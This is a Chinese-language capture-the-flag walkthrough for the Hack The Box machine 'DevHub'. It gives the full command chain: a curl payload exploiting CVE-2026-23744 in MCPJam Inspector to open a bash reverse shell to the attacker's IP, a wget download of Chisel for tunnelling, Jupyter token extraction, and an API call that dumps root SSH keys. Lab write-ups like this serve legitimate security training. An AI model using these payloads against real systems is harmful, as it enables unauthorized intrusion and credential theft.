DevHub – HTB 通关攻略（中等难度 Linux）

靶机： DevHub
难度： 中等
操作系统： Linux
主题： CVE-2026-23744、Chisel 隧道、Jupyter、Flask API、Root 权限提升

---

📌 1. 信息收集

nmap -sC -sV devhub.htb

结果：

    端口 22（SSH）

    端口 80（HTTP）

    端口 6274（MCPJam Inspector）

📌 2. 修改 hosts 文件

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. 探索网站

    http://devhub.htb/ → 着陆页

    http://devhub.htb:6274/ → MCPJam Inspector v1.4.2（存在 CVE-2026-23744 漏洞）

📌 4. 以 mcp-dev 身份获取反向 Shell

终端 1 – 监听器：

nc -lvnp 4444

终端 2 – Payload：

curl -X POST http://devhub.htb:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ 以 mcp-dev 身份获得 Shell
📌 5. 设置 Chisel 隧道

HTTP 服务器（攻击机）：

python3 -m http.server 8000 --bind 10.x.x.x

在目标机上下载 Chisel（mcp-dev Shell）：

cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel

Chisel 服务器（攻击机）：

./chisel server --reverse --port 9001

Chisel 客户端（mcp-dev Shell）：

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. 访问 Jupyter

提取 Token（mcp-dev Shell）：

ps aux | grep jupyter | grep -v grep

Token：a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

浏览器：http://localhost:8888/?token=...
📌 7. 获取 Root SSH 密钥（在 Jupyter 中）

import requests, json

url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))

📌 8. 以 Root 身份登录

nano root_key
# 插入密钥
chmod 600 root_key
ssh -i root_key [email protected]

📌 9. 读取 Flag

cat /root/root.txt 
cat /home/analyst/user.txt

Root Flag：

08be4cfb68597d0f9edfccxxxxxxxxxx



祝你成功！🚀



---